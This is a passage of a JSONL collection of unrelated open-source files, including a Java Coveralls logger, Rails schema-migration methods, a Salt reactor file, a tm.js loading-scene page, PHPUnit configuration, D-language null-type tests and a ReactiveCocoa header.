permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n * %[license]\n */\n\nimport org.apache.maven.plugin.logging.Log;\nimport org.eluder.coveralls.maven.plugin.domain.Job;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.SerializationFeature;\n\npublic class JobLogger implements Logger {\n\n private static final int ABBREV = 7;\n \n private final Job job;\n private final ObjectMapper jsonMapper;\n \n public JobLogger(final Job job) {\n this(job, null);\n }\n \n public JobLogger(final Job job, final ObjectMapper jsonMapper) {\n if (job == null) {\n throw new IllegalArgumentException(\"job must be defined\");\n }\n this.job = job;\n this.jsonMapper = (jsonMapper != null ? jsonMapper : createDefaultJsonMapper());\n }\n\n @Override\n public Position getPosition() {\n return Position.BEFORE;\n }\n \n @Override\n public void log(final Log log) {\n StringBuilder starting = new StringBuilder(\"Starting Coveralls job\");\n if (job.getServiceName() != null) {\n starting.append(\" for \" + job.getServiceName());\n if (job.getServiceJobId() != null) {\n starting.append(\" (\" + job.getServiceJobId() + \")\");\n } else if (job.getServiceBuildNumber() != null) {\n starting.append(\" (\" + job.getServiceBuildNumber());\n if (job.getServiceBuildUrl() != null) {\n starting.append(\" / \" + job.getServiceBuildUrl());\n }\n starting.append(\")\");\n }\n }\n if (job.isDryRun()) {\n starting.append(\" in dry run mode\");\n }\n log.info(starting.toString());\n \n if (job.getRepoToken() != null) {\n log.info(\"Using repository token \");\n }\n \n if (job.getGit() != null) {\n String commit = job.getGit().getHead().getId();\n String branch = (job.getBranch() != null ? job.getBranch() : job.getGit().getBranch());\n log.info(\"Git commit \" + commit.substring(0, ABBREV) + \" in \" + branch);\n }\n \n if (log.isDebugEnabled()) {\n try {\n log.debug(\"Complete Job description:\\n\" + jsonMapper.writeValueAsString(job));\n } catch (JsonProcessingException ex) {\n throw new RuntimeException(ex);\n }\n }\n }\n \n private ObjectMapper createDefaultJsonMapper() {\n ObjectMapper mapper = new ObjectMapper();\n mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);\n mapper.configure(SerializationFeature.INDENT_OUTPUT, true);\n mapper.configure(SerializationFeature.ORDER_MAP_ENTRIES_BY_KEYS, true);\n return mapper;\n }\n \n}\n"} +{"text": "# Contributing\n\nBefore sending a pull request remember to follow [jQuery Core Style Guide](http://contribute.jquery.org/style-guide/js/).\n\n1. Fork it!\n2. Create your feature branch: `git checkout -b my-new-feature`\n3. Make your changes on the `src` folder, never on the `dist` folder.\n4. Commit your changes: `git commit -m 'Add some feature'`\n5. Push to the branch: `git push origin my-new-feature`\n6. Submit a pull request :D\n"} +{"text": "module ActiveRecord\n module ConnectionAdapters # :nodoc:\n module SchemaStatements\n # Returns a Hash of mappings from the abstract data types to the native\n # database types. See TableDefinition#column for details on the recognized\n # abstract data types.\n def native_database_types\n {}\n end\n\n # This is the maximum length a table alias can be\n def table_alias_length\n 255\n end\n\n # Truncates a table alias according to the limits of the current adapter.\n def table_alias_for(table_name)\n table_name[0..table_alias_length-1].gsub(/\\./, '_')\n end\n\n # def tables(name = nil) end\n\n def table_exists?(table_name)\n tables.include?(table_name.to_s)\n end\n\n # Returns an array of indexes for the given table.\n # def indexes(table_name, name = nil) end\n\n # Returns an array of Column objects for the table specified by +table_name+.\n # See the concrete implementation for details on the expected parameter values.\n def columns(table_name, name = nil) end\n\n # Creates a new table with the name +table_name+. +table_name+ may either\n # be a String or a Symbol.\n #\n # There are two ways to work with +create_table+. You can use the block\n # form or the regular form, like this:\n #\n # === Block form\n # # create_table() passes a TableDefinition object to the block.\n # # This form will not only create the table, but also columns for the\n # # table.\n # create_table(:suppliers) do |t|\n # t.column :name, :string, :limit => 60\n # # Other fields here\n # end\n #\n # === Regular form\n # # Creates a table called 'suppliers' with no columns.\n # create_table(:suppliers)\n # # Add a column to 'suppliers'.\n # add_column(:suppliers, :name, :string, {:limit => 60})\n #\n # The +options+ hash can include the following keys:\n # [:id]\n # Whether to automatically add a primary key column. Defaults to true.\n # Join tables for +has_and_belongs_to_many+ should set :id => false.\n # [:primary_key]\n # The name of the primary key, if one is to be added automatically.\n # Defaults to +id+.\n # [:options]\n # Any extra options you want appended to the table definition.\n # [:temporary]\n # Make a temporary table.\n # [:force]\n # Set to true to drop the table before creating it.\n # Defaults to false.\n #\n # ===== Examples\n # ====== Add a backend specific option to the generated SQL (MySQL)\n # create_table(:suppliers, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8')\n # generates:\n # CREATE TABLE suppliers (\n # id int(11) DEFAULT NULL auto_increment PRIMARY KEY\n # ) ENGINE=InnoDB DEFAULT CHARSET=utf8\n #\n # ====== Rename the primary key column\n # create_table(:objects, :primary_key => 'guid') do |t|\n # t.column :name, :string, :limit => 80\n # end\n # generates:\n # CREATE TABLE objects (\n # guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,\n # name varchar(80)\n # )\n #\n # ====== Do not add a primary key column\n # create_table(:categories_suppliers, :id => false) do |t|\n # t.column :category_id, :integer\n # t.column :supplier_id, :integer\n # end\n # generates:\n # CREATE TABLE categories_suppliers (\n # category_id int,\n # supplier_id int\n # )\n #\n # See also TableDefinition#column for details on how to create columns.\n def create_table(table_name, options = {})\n table_definition = TableDefinition.new(self)\n table_definition.primary_key(options[:primary_key] || Base.get_primary_key(table_name)) unless options[:id] == false\n\n yield table_definition\n\n if options[:force] && table_exists?(table_name)\n drop_table(table_name, options)\n end\n\n create_sql = \"CREATE#{' TEMPORARY' if options[:temporary]} TABLE \"\n create_sql << \"#{quote_table_name(table_name)} (\"\n create_sql << table_definition.to_sql\n create_sql << \") #{options[:options]}\"\n execute create_sql\n end\n\n # A block for changing columns in +table+.\n #\n # === Example\n # # change_table() yields a Table instance\n # change_table(:suppliers) do |t|\n # t.column :name, :string, :limit => 60\n # # Other column alterations here\n # end\n #\n # ===== Examples\n # ====== Add a column\n # change_table(:suppliers) do |t|\n # t.column :name, :string, :limit => 60\n # end\n #\n # ====== Add 2 integer columns\n # change_table(:suppliers) do |t|\n # t.integer :width, :height, :null => false, :default => 0\n # end\n #\n # ====== Add created_at/updated_at columns\n # change_table(:suppliers) do |t|\n # t.timestamps\n # end\n #\n # ====== Add a foreign key column\n # change_table(:suppliers) do |t|\n # t.references :company\n # end\n #\n # Creates a company_id(integer) column\n #\n # ====== Add a polymorphic foreign key column\n # change_table(:suppliers) do |t|\n # t.belongs_to :company, :polymorphic => true\n # end\n #\n # Creates company_type(varchar) and company_id(integer) columns\n #\n # ====== Remove a column\n # change_table(:suppliers) do |t|\n # t.remove :company\n # end\n #\n # ====== Remove several columns\n # change_table(:suppliers) do |t|\n # t.remove :company_id\n # t.remove :width, :height\n # end\n #\n # ====== Remove an index\n # change_table(:suppliers) do |t|\n # t.remove_index :company_id\n # end\n #\n # See also Table for details on\n # all of the various column transformation\n def change_table(table_name)\n yield Table.new(table_name, self)\n end\n\n # Renames a table.\n # ===== Example\n # rename_table('octopuses', 'octopi')\n def rename_table(table_name, new_name)\n raise NotImplementedError, \"rename_table is not implemented\"\n end\n\n # Drops a table from the database.\n def drop_table(table_name, options = {})\n execute \"DROP TABLE #{quote_table_name(table_name)}\"\n end\n\n # Adds a new column to the named table.\n # See TableDefinition#column for details of the options you can use.\n def add_column(table_name, column_name, type, options = {})\n add_column_sql = \"ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}\"\n add_column_options!(add_column_sql, options)\n execute(add_column_sql)\n end\n\n # Removes the column(s) from the table definition.\n # ===== Examples\n # remove_column(:suppliers, :qualification)\n # remove_columns(:suppliers, :qualification, :experience)\n def remove_column(table_name, *column_names)\n column_names.flatten.each do |column_name|\n execute \"ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}\"\n end\n end\n alias :remove_columns :remove_column\n\n # Changes the column's definition according to the new options.\n # See TableDefinition#column for details of the options you can use.\n # ===== Examples\n # change_column(:suppliers, :name, :string, :limit => 80)\n # change_column(:accounts, :description, :text)\n def change_column(table_name, column_name, type, options = {})\n raise NotImplementedError, \"change_column is not implemented\"\n end\n\n # Sets a new default value for a column. If you want to set the default\n # value to +NULL+, you are out of luck. You need to\n # DatabaseStatements#execute the appropriate SQL statement yourself.\n # ===== Examples\n # change_column_default(:suppliers, :qualification, 'new')\n # change_column_default(:accounts, :authorized, 1)\n def change_column_default(table_name, column_name, default)\n raise NotImplementedError, \"change_column_default is not implemented\"\n end\n\n # Renames a column.\n # ===== Example\n # rename_column(:suppliers, :description, :name)\n def rename_column(table_name, column_name, new_column_name)\n raise NotImplementedError, \"rename_column is not implemented\"\n end\n\n # Adds a new index to the table. +column_name+ can be a single Symbol, or\n # an Array of Symbols.\n #\n # The index will be named after the table and the first column name,\n # unless you pass :name as an option.\n #\n # When creating an index on multiple columns, the first column is used as a name\n # for the index. For example, when you specify an index on two columns\n # [:first, :last], the DBMS creates an index for both columns as well as an\n # index for the first column :first. Using just the first name for this index\n # makes sense, because you will never have to create a singular index with this\n # name.\n #\n # ===== Examples\n # ====== Creating a simple index\n # add_index(:suppliers, :name)\n # generates\n # CREATE INDEX suppliers_name_index ON suppliers(name)\n # ====== Creating a unique index\n # add_index(:accounts, [:branch_id, :party_id], :unique => true)\n # generates\n # CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)\n # ====== Creating a named index\n # add_index(:accounts, [:branch_id, :party_id], :unique => true, :name => 'by_branch_party')\n # generates\n # CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)\n def add_index(table_name, column_name, options = {})\n column_names = Array(column_name)\n index_name = index_name(table_name, :column => column_names)\n\n if Hash === options # legacy support, since this param was a string\n index_type = options[:unique] ? \"UNIQUE\" : \"\"\n index_name = options[:name] || index_name\n else\n index_type = options\n end\n quoted_column_names = column_names.map { |e| quote_column_name(e) }.join(\", \")\n execute \"CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{quoted_column_names})\"\n end\n\n # Remove the given index from the table.\n #\n # Remove the suppliers_name_index in the suppliers table.\n # remove_index :suppliers, :name\n # Remove the index named accounts_branch_id_index in the accounts table.\n # remove_index :accounts, :column => :branch_id\n # Remove the index named accounts_branch_id_party_id_index in the accounts table.\n # remove_index :accounts, :column => [:branch_id, :party_id]\n # Remove the index named by_branch_party in the accounts table.\n # remove_index :accounts, :name => :by_branch_party\n def remove_index(table_name, options = {})\n execute \"DROP INDEX #{quote_column_name(index_name(table_name, options))} ON #{table_name}\"\n end\n\n def index_name(table_name, options) #:nodoc:\n if Hash === options # legacy support\n if options[:column]\n \"index_#{table_name}_on_#{Array(options[:column]) * '_and_'}\"\n elsif options[:name]\n options[:name]\n else\n raise ArgumentError, \"You must specify the index name\"\n end\n else\n index_name(table_name, :column => options)\n end\n end\n\n # Returns a string of CREATE TABLE SQL statement(s) for recreating the\n # entire structure of the database.\n def structure_dump\n end\n\n def dump_schema_information #:nodoc:\n sm_table = ActiveRecord::Migrator.schema_migrations_table_name\n migrated = select_values(\"SELECT version FROM #{sm_table}\")\n migrated.map { |v| \"INSERT INTO #{sm_table} (version) VALUES ('#{v}');\" }.join(\"\\n\\n\")\n end\n\n # Should not be called normally, but this operation is non-destructive.\n # The migrations module handles this automatically.\n def initialize_schema_migrations_table\n sm_table = ActiveRecord::Migrator.schema_migrations_table_name\n\n unless tables.detect { |t| t == sm_table }\n create_table(sm_table, :id => false) do |schema_migrations_table|\n schema_migrations_table.column :version, :string, :null => false\n end\n add_index sm_table, :version, :unique => true,\n :name => 'unique_schema_migrations'\n\n # Backwards-compatibility: if we find schema_info, assume we've\n # migrated up to that point:\n si_table = Base.table_name_prefix + 'schema_info' + Base.table_name_suffix\n\n if tables.detect { |t| t == si_table }\n\n old_version = select_value(\"SELECT version FROM #{quote_table_name(si_table)}\").to_i\n assume_migrated_upto_version(old_version)\n drop_table(si_table)\n end\n end\n end\n\n def assume_migrated_upto_version(version)\n version = version.to_i\n sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)\n\n migrated = select_values(\"SELECT version FROM #{sm_table}\").map(&:to_i)\n versions = Dir['db/migrate/[0-9]*_*.rb'].map do |filename|\n filename.split('/').last.split('_').first.to_i\n end\n\n unless migrated.include?(version)\n execute \"INSERT INTO #{sm_table} (version) VALUES ('#{version}')\"\n end\n\n inserted = Set.new\n (versions - migrated).each do |v|\n if inserted.include?(v)\n raise \"Duplicate migration #{v}. Please renumber your migrations to resolve the conflict.\"\n elsif v < version\n execute \"INSERT INTO #{sm_table} (version) VALUES ('#{v}')\"\n inserted << v\n end\n end\n end\n\n def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:\n if native = native_database_types[type]\n column_type_sql = (native.is_a?(Hash) ? native[:name] : native).dup\n\n if type == :decimal # ignore limit, use precision and scale\n scale ||= native[:scale]\n\n if precision ||= native[:precision]\n if scale\n column_type_sql << \"(#{precision},#{scale})\"\n else\n column_type_sql << \"(#{precision})\"\n end\n elsif scale\n raise ArgumentError, \"Error adding decimal column: precision cannot be empty if scale if specified\"\n end\n\n elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])\n column_type_sql << \"(#{limit})\"\n end\n\n column_type_sql\n else\n type\n end\n end\n\n def add_column_options!(sql, options) #:nodoc:\n sql << \" DEFAULT #{quote(options[:default], options[:column])}\" if options_include_default?(options)\n # must explicitly check for :null to allow change_column to work on migrations\n if options[:null] == false\n sql << \" NOT NULL\"\n end\n end\n\n # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.\n # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax.\n #\n # distinct(\"posts.id\", \"posts.created_at desc\")\n def distinct(columns, order_by)\n \"DISTINCT #{columns}\"\n end\n\n # ORDER BY clause for the passed order option.\n # PostgreSQL overrides this due to its stricter standards compliance.\n def add_order_by_for_association_limiting!(sql, options)\n sql << \" ORDER BY #{options[:order]}\"\n end\n\n # Adds timestamps (created_at and updated_at) columns to the named table.\n # ===== Examples\n # add_timestamps(:suppliers)\n def add_timestamps(table_name)\n add_column table_name, :created_at, :datetime\n add_column table_name, :updated_at, :datetime\n end\n\n # Removes the timestamp columns (created_at and updated_at) from the table definition.\n # ===== Examples\n # remove_timestamps(:suppliers)\n def remove_timestamps(table_name)\n remove_column table_name, :updated_at\n remove_column table_name, :created_at\n end\n\n protected\n def options_include_default?(options)\n options.include?(:default) && !(options[:null] == false && options[:default].nil?)\n end\n end\n end\nend\n"} +{"text": "# This runs highstate only on the NEW node, regardless of type.\nhighstate_new:\n cmd.state.highstate:\n - tgt: {{ data['id'] }}\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage ml.dmlc.tvm;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * TVM API functions.\n */\npublic final class API {\n private static ThreadLocal> apiFuncs\n = new ThreadLocal>() {\n @Override\n protected Map initialValue() {\n return new HashMap();\n }\n };\n\n /**\n * Get a tvm api function according by name.\n * @param name function name.\n * @return a TVM Function.\n */\n public static Function get(final String name) {\n Function func = apiFuncs.get().get(name);\n if (func == null) {\n func = Function.getFunction(name);\n apiFuncs.get().put(name, func);\n }\n return func;\n }\n\n /**\n * Cannot be instantiated.\n */\n private API() {\n }\n}\n"} +{"text": "\n\n\t\n\t\tTitle\n\t\ten\n\t\tNOID\n\t\t2019-01-01T12:00:00Z\n\t\n\t\n\t\t\n\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n\t\n\t\n\t\t\n\t\n\n"} +{"text": "\n\n\n \n The source code\n \n \n \n \n\n\n 
/*\n * loadingscene.js\n */\n\n\n;(function() {\n    \n    var DEFAULT_PARAM = {\n        width: 465,\n        height: 465,\n        bgColor: "transparent",\n    };\n    \n    tm.define("tm.ui.LoadingScene", {\n        superClass: "tm.app.Scene",\n        \n        init: function(param) {\n            this.superInit();\n            \n            this.param = param = {}.$extend(DEFAULT_PARAM, param);\n\n            this.fromJSON({\n                children: {\n                    stage: {\n                        type: "tm.display.CanvasElement",\n                    },\n                }\n            });\n\n            this.stage.fromJSON({\n                children: {\n                    bg: {\n                        type: "tm.display.Shape",\n                        init: [param.width, param.height],\n                        originX: 0,\n                        originY: 0,\n                    },\n                    piyoLayer: {\n                        type: "tm.display.CanvasElement",\n                    },\n                    label: {\n                        type: "tm.display.Label",\n                        text: "LOADING",\n                        x: param.width/2,\n                        y: param.height/2-20,\n                        align: "center",\n                        baseline: "middle",\n                        fontSize: 46,\n                        shadowBlur: 4,\n                        shadowColor: "hsl(190, 100%, 50%)",\n                    },\n                    // piyo: {\n                    //     type: "tm.display.Shape",\n                    //     init: [84, 84],\n                    // },\n                    bar: {\n                        type: "tm.ui.Gauge",\n                        init: [{\n                            width: param.width,\n                            height: 10,\n                            color: "hsl(200, 100%, 80%)",\n                            bgColor: "transparent",\n                            borderColor: "transparent",\n                            borderWidth: 0,\n                        }],\n                        x: 0,\n                        y: 0,\n                    },\n                }\n            });\n            \n            // bg\n            var bg = this.stage.bg;\n            bg.canvas.clearColor(param.bgColor);\n\n            // label\n            var label = this.stage.label;\n            label.tweener\n                .to({alpha:1}, 1000)\n                .to({alpha:0.5}, 1000)\n                .setLoop(true)\n\n            // bar\n            var bar = this.stage.bar;\n            bar.animationFlag = false;\n            bar.value = 0;\n            bar.animationFlag = true;\n            bar.animationTime = 100;\n            \n            // ひよこさん\n            this._createHiyoko(param).addChildTo(this.stage.piyoLayer);\n\n            // load\n            var stage = this.stage;\n            stage.alpha = 0.0;\n            stage.tweener.clear().fadeIn(100).call(function() {\n                if (param.assets) {\n                    var loader = tm.asset.Loader();\n                    loader.onload = function() {\n                        stage.tweener.clear().wait(200).fadeOut(200).call(function() {\n                            if (param.nextScene) {\n                                this.app.replaceScene(param.nextScene());\n                            }\n                            var e = tm.event.Event("load");\n                            this.fire(e);\n                        }.bind(this));\n                    }.bind(this);\n                    \n                    loader.onprogress = function(e) {\n                        // update bar\n                        bar.value = e.progress*100;\n\n                        // dispatch event\n                        var event = tm.event.Event("progress");\n                        event.progress = e.progress;\n                        this.fire(event);\n                    }.bind(this);\n                    \n                    loader.load(param.assets);\n                }\n            }.bind(this));\n        },\n\n        onpointingstart: function(app) {\n            // ひよこさん生成\n            var p = app.pointing;\n            var piyo = this._createHiyoko(this.param).addChildTo(this.stage.piyoLayer);\n            piyo.x = p.x;\n            piyo.y = p.y;\n        },\n\n        _createHiyoko: function(param) {\n            // ひよこさん\n            var piyo = tm.display.Shape(84, 84);\n            piyo.x = tm.util.Random.randint(0, param.width);\n            piyo.y = tm.util.Random.randint(0, param.height);\n            piyo.canvas.setColorStyle("white", "yellow").fillCircle(42, 42, 32);\n            piyo.canvas.setColorStyle("white", "black").fillCircle(27, 27, 2);\n            piyo.canvas.setColorStyle("white", "brown").fillRect(40, 70, 4, 15).fillTriangle(0, 40, 11, 35, 11, 45);\n            piyo.dir = tm.geom.Vector2.random(0, 360, 4);\n            var rect = tm.geom.Rect(0, 0, param.width, param.height);\n            rect.padding(42);\n            piyo.update = function(app) {\n                this.position.add(this.dir);\n\n                if (this.x < rect.left) {\n                    this.x = rect.left;\n                    this.dir.x*=-1;\n                }\n                else if (this.x > rect.right) {\n                    this.x = rect.right;\n                    this.dir.x*=-1;\n                }\n                if (this.y < rect.top) {\n                    this.y = rect.top;\n                    this.dir.y*=-1;\n                }\n                else if (this.y > rect.bottom) {\n                    this.y = rect.bottom;\n                    this.dir.y*=-1;\n                }\n\n                if (this.dir.x<0) {\n                    this.rotation -= 7;\n                    this.scaleX = 1;\n                }\n                else {\n                    this.rotation += 7;\n                    this.scaleX = -1;\n                }\n\n                // // 向き更新\n                // if (app.pointing.getPointingStart()) {\n                //     var p = app.pointing.position;\n                //     var v = tm.geom.Vector2.sub(p, this.position);\n                //     this.dir = v.normalize().mul(4);\n                // }\n\n            };\n\n            return piyo;\n        },\n    });\n    \n})();\n\n\n\n\n\n
\n\n\n"} +{"text": " <#include \"admin/template/page/head_lib.html\">\n\n\t
\n\n\t
\n\t\n\t
\n\t \n\t
\n\t \n\t
\n\t \n\t
\n\t \t\n\t
\n\t
\n\t
\n\t \n\t
\n\t \n\t
\n\t \n\t \n\t
\n\t \n\t
\n\t
\n\t
\n\t \n\t
\n\t \n\t
\n\t \n\t
\n\t \n\t
\n\t
\n\t
\n\t \n\t
\n\t \n\t \n\t
\n\t \n\t
\n\t \t\n\t
\n\t
\n\n\t\t
\n\t \n\t
\n\t\t \n\t
\n\t
\n\t
\n\t
\n \t \n \t \n
\n
\n\n\n\t
\n\n\n"} +{"text": "# Copyright (c) 2014 Adafruit Industries\n# Author: Tony DiCola\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport Adafruit_GPIO as GPIO\n\n\nclass MockGPIO(GPIO.BaseGPIO):\n def __init__(self):\n self.pin_mode = {}\n self.pin_written = {}\n self.pin_read = {}\n\n def setup(self, pin, mode):\n self.pin_mode[pin] = mode\n\n def output(self, pin, bit):\n self.pin_written.setdefault(pin, []).append(1 if bit else 0)\n\n def input(self, pin):\n if pin not in self.pin_read:\n raise RuntimeError('No mock GPIO data to read for pin {0}'.format(pin))\n return self.pin_read[pin].pop(0) == 1\n"} +{"text": "\n\n \n \n tests/Framework\n tests/Extensions\n tests/Runner\n tests/Util\n \n\n \n tests/TextUI\n tests/Regression\n \n \n\n \n \n src\n \n src/Framework/Assert/Functions.php\n src/Util/PHP/eval-stdin.php\n \n \n \n\n \n \n \n\n"} +{"text": "extern (C) int printf(const(char*) fmt, ...);\n\nalias typeof(null) null_t;\n\n/**********************************************/\n\nvoid test1()\n{\n null_t null1;\n typeof(null) null2;\n\n static assert(is(typeof(null1) == typeof(null)));\n static assert(is(typeof(null2) == typeof(null)));\n\n static assert(is(typeof(null1) == null_t));\n static assert(is(typeof(null2) == null_t));\n}\n\n/**********************************************/\n\ninterface I{}\nclass C{}\n\nint f(null_t) { return 1; }\nint f(int[]) { return 2; }\nint f(C) { return 3; }\n\nvoid test2()\n{\n static assert(is(null_t : C));\n static assert(is(null_t : I));\n static assert(is(null_t : int[]));\n static assert(is(null_t : void*));\n static assert(is(null_t : int**));\n\n static assert(!is(null_t == C));\n static assert(!is(null_t == I));\n static assert(!is(null_t == int[]));\n static assert(!is(null_t == void*));\n static assert(!is(null_t == int**));\n\n static assert(is(null_t == null_t));\n\n assert(f(null) == 1);\n}\n\n/**********************************************/\n// https://issues.dlang.org/show_bug.cgi?id=5899\n\nauto f5899(bool b)\n{\n if (b)\n return new Object;\n else\n return null;\n}\nstatic assert(is(typeof(f5899) R == return) && is(R == Object));\npragma(msg, typeof(f5899));\n\nauto g5899(bool b)\n{\n if (b)\n return new int;\n else\n return null;\n}\nstatic assert(is(typeof(g5899) R == return) && is(R == int*));\npragma(msg, typeof(g5899));\n\nauto h5899(bool b)\n{\n if (b)\n return [1];\n else\n return null;\n}\nstatic assert(is(typeof(h5899) R == return) && is(R == int[]));\npragma(msg, typeof(h5899));\n\n/**********************************************/\n// https://issues.dlang.org/show_bug.cgi?id=7278\n\nstruct Foo7278(string s)\n{\n string var;\n void func()\n {\n string local = var;\n }\n}\n\nvoid test7278()\n{\n Foo7278!null a;\n Foo7278!null b;\n}\n\n/**********************************************/\n// https://issues.dlang.org/show_bug.cgi?id=8221\n\nclass A8221\n{\n A8221 foo() { return this; }\n}\nclass B8221: A8221\n{\n override typeof(null) foo() { return null; } // error\n}\nvoid test8221()\n{\n auto a = new A8221();\n assert(a.foo() is a);\n auto b = new B8221();\n assert(b.foo() is null);\n a = b;\n assert(a.foo() is null);\n}\n\n/***************************************************/\n// https://issues.dlang.org/show_bug.cgi?id=8589\n\nvoid test8589()\n{\n static typeof(null) retnull() { return null; }\n\n void test(bool result, T)()\n {\n void f(T function() dg) { assert(!dg()); }\n\n static assert((T.sizeof == typeof(null).sizeof) == result);\n static assert(is(typeof( f(&retnull) )) == result);\n static assert(is(typeof( f(()=>null) )) == result);\n static if (result)\n {\n f(&retnull);\n f(()=>null);\n }\n }\n test!(true, int*)();\n test!(true, Object)();\n test!(true, int[int])();\n test!(false, int[])();\n test!(false, void delegate())();\n}\n\n/**********************************************/\n// https://issues.dlang.org/show_bug.cgi?id=9385\n\nvoid test9385()\n{\n assert((null ? true : false) == false);\n if (null) assert(0);\n assert(!null);\n}\n\n/**********************************************/\n// https://issues.dlang.org/show_bug.cgi?id=12203\n\nvoid test12203()\n{\n typeof(null) v;\n void foo(float) {}\n void delegate(float) dg = &foo;\n assert(dg !is null);\n\n dg = v; // Error: e2ir: cannot cast v of type typeof(null) to type void delegate(float)\n\n assert(dg is null);\n}\n\n/**********************************************/\n\nint main()\n{\n test1();\n test2();\n test7278();\n test8221();\n test8589();\n test9385();\n test12203();\n\n printf(\"Success\\n\");\n return 0;\n}\n"} +{"text": "//\n// RACSignal+Operations.h\n// ReactiveCocoa\n//\n// Created by Justin Spahr-Summers on 2012-09-06.\n// Copyright (c) 2012 GitHub, Inc. All rights reserved.\n//\n\n#import \n#import \"RACSignal.h\"\n\n/// The domain for errors originating in RACSignal operations.\nextern NSString * const RACSignalErrorDomain;\n\n/// The error code used with -timeout:.\nextern const NSInteger RACSignalErrorTimedOut;\n\n/// The error code used when a value passed into +switch:cases:default: does not\n/// match any of the cases, and no default was given.\nextern const NSInteger RACSignalErrorNoMatchingCase;\n\n@class RACCommand;\n@class RACDisposable;\n@class RACMulticastConnection;\n@class RACScheduler;\n@class RACSequence;\n@class RACSubject;\n@class RACTuple;\n@protocol RACSubscriber;\n\n@interface RACSignal (Operations)\n\n/// Do the given block on `next`. This should be used to inject side effects into\n/// the signal.\n- (RACSignal *)doNext:(void (^)(id x))block;\n\n/// Do the given block on `error`. This should be used to inject side effects\n/// into the signal.\n- (RACSignal *)doError:(void (^)(NSError *error))block;\n\n/// Do the given block on `completed`. This should be used to inject side effects\n/// into the signal.\n- (RACSignal *)doCompleted:(void (^)(void))block;\n\n/// Sends `next`s only if we don't receive another `next` in `interval` seconds.\n///\n/// If a `next` is received, and then another `next` is received before\n/// `interval` seconds have passed, the first value is discarded.\n///\n/// After `interval` seconds have passed since the most recent `next` was sent,\n/// the most recent `next` is forwarded on the scheduler that the value was\n/// originally received on. If +[RACScheduler currentScheduler] was nil at the\n/// time, a private background scheduler is used.\n///\n/// Returns a signal which sends throttled and delayed `next` events. Completion\n/// and errors are always forwarded immediately.\n- (RACSignal *)throttle:(NSTimeInterval)interval;\n\n/// Throttles `next`s for which `predicate` returns YES.\n///\n/// When `predicate` returns YES for a `next`:\n///\n/// 1. If another `next` is received before `interval` seconds have passed, the\n/// prior value is discarded. This happens regardless of whether the new\n/// value will be throttled.\n/// 2. After `interval` seconds have passed since the value was originally\n/// received, it will be forwarded on the scheduler that it was received\n/// upon. If +[RACScheduler currentScheduler] was nil at the time, a private\n/// background scheduler is used.\n///\n/// When `predicate` returns NO for a `next`, it is forwarded immediately,\n/// without any throttling.\n///\n/// interval - The number of seconds for which to buffer the latest value that\n/// passes `predicate`.\n/// predicate - Passed each `next` from the receiver, this block returns\n/// whether the given value should be throttled. This argument must\n/// not be nil.\n///\n/// Returns a signal which sends `next` events, throttled when `predicate`\n/// returns YES. Completion and errors are always forwarded immediately.\n- (RACSignal 